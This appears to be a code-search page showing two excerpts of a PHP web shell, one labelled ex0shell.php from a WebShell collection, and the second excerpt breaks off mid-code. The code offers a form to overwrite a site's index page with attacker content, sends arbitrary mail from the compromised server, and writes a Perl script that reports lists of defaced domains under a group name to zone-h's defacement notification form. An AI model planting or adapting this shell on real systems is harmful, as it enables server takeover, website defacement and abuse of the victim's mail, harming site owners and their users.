コード例 #1
0
    print "<p>[ Error, Can't send the mail ]</p>";
    die;
}
if ($dlink == 'mail' && !isset($_REQUEST['mailsub'])) {
    print $sf . "<br>";
    print "<p><textarea cols=50 rows=10 name=mailtxt>\nYour message here</textarea></p>";
    input("text", "mailto", "*****@*****.**", 35);
    print " ";
    input("text", "subj", "Title-here", 20);
    print " ";
    input("submit", "mailsub", "Send-mail", "");
    print $ef;
    die;
}
if (isset($_REQUEST['zonet']) && !empty($_REQUEST['zonet'])) {
    callzone($nscdir);
}
function callzone($nscdir)
{
    if (is_writable($nscdir)) {
        $fpz = fopen("z.pl", "w");
        $zpl = 'z.pl';
        $li = "bklist.txt";
    } else {
        $fpz = fopen("/tmp/z.pl", "w");
        $zpl = '/tmp/z.pl';
        $li = "/tmp/bklist.txt";
    }
    fwrite($fpz, "\$arq = @ARGV[0];\n\$grupo = @ARGV[1];\nchomp \$grupo;\nopen(a,\"<\$arq\");\n@site = <a>;\nclose(a);\n\$b = scalar(@site);\nfor(\$a=0;\$a<=\$b;\$a++)\n{chomp \$site[\$a];\nif(\$site[\$a] =~ /http/) { substr(\$site[\$a], 0, 7) =\"\"; }\nprint \"[+] Sending \$site[\$a]\n\";\nuse IO::Socket::INET;\n\$sock = IO::Socket::INET->new(PeerAddr => \"old.zone-h.org\", PeerPort => 80, Proto => \"tcp\") or next;\nprint \$sock \"POST /en/defacements/notify HTTP/1.0\r\n\";\nprint \$sock \"Accept: */*\r\n\";\nprint \$sock \"Referer: http://old.zone-h.org/en/defacements/notify\r\n\";\nprint \$sock \"Accept-Language: pt-br\r\n\";\nprint \$sock \"Content-Type: application/x-www-form-urlencoded\r\n\";\nprint \$sock \"Connection: Keep-Alive\r\n\";\nprint \$sock \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n\";\nprint \$sock \"Host: old.zone-h.org\r\n\";\nprint \$sock \"Content-Length: 385\r\n\";\nprint \$sock \"Pragma: no-cache\r\n\";\nprint \$sock \"\r\n\";\nprint \$sock \"notify_defacer=\$grupo&notify_domain=http%3A%2F%2F\$site[\$a]&notify_hackmode=22&notify_reason=5&notify=+OK+\r\n\";\nclose(\$sock);}");
    if (touch($li) == true) {
        $fpl = fopen($li, "w+");
コード例 #2
0
ファイル: ex0shell.php プロジェクト: xl7dev/WebShell 
$fp=fopen($_REQUEST['indx'],"w+");fwrite ($fp,stripslashes($_REQUEST['indxtxt']));
fclose($fp);print "<p>[ $sfnt".$_REQUEST['indx']."$efnt created successfully !! ]</p>";print "<b><center>[ <a href='javascript:history.back()'>Yeniden Editle</a>
] -- [<a href=".inclink('dlink', 'scurrdir')."&scdir=$nscdir> Curr-Dir </a>]</center></b>";die(); }else {print "<p>[ Sorry, Can't create the index !! ]</p>";die();}}
if ($dlink=='qindx'&&!isset($_REQUEST['qindsub'])){
print $sf."<br>";print "<p><textarea cols=50 rows=10 name=indxtxt>
Your index contents here</textarea></p>";
input ("text","indx","Index-name",35);print " ";
input ("submit","qindsub","Create","");print $ef;die();}
if (isset ($_REQUEST['mailsub'])&&!empty($_REQUEST['mailto'])){
$mailto=$_REQUEST['mailto'];$subj=$_REQUEST['subj'];$mailtxt=$_REQUEST['mailtxt'];
if (mail($mailto,$subj,$mailtxt)){print "<p>[ Mail sended to $sfnt".$mailto." $efnt successfully ]</p>"; die();}else {print "<p>[ Error, Can't send the mail ]</p>";die();}} elseif(isset ($mailsub)&&empty($mailto)) {print "<p>[ Error, Can't send the mail ]</p>";die();}
if ($dlink=='mail'&&!isset($_REQUEST['mailsub'])){
print $sf."<br>";print "<p><textarea cols=50 rows=10 name=mailtxt>
Your message here</textarea></p>";input ("text","mailto","*****@*****.**",35);print " ";input ("text","subj","Title-here",20);print " ";
input ("submit","mailsub","Send-mail","");print $ef;die();}
if (isset($_REQUEST['zonet'])&&!empty($_REQUEST['zonet'])){callzone($nscdir);}
function callzone($nscdir){
if (is_writable($nscdir)){$fpz=fopen ("z.pl","w");$zpl='z.pl';$li="bklist.txt";}
else {$fpz=fopen ("/tmp/z.pl","w");$zpl='/tmp/z.pl';$li="/tmp/bklist.txt";}
fwrite ($fpz,"\$arq = @ARGV[0];
\$grupo = @ARGV[1];
chomp \$grupo;
open(a,\"<\$arq\");
@site = <a>;
close(a);
\$b = scalar(@site);
for(\$a=0;\$a<=\$b;\$a++)
{chomp \$site[\$a];
if(\$site[\$a] =~ /http/) { substr(\$site[\$a], 0, 7) =\"\"; }
print \"[+] Sending \$site[\$a]\n\";
use IO::Socket::INET;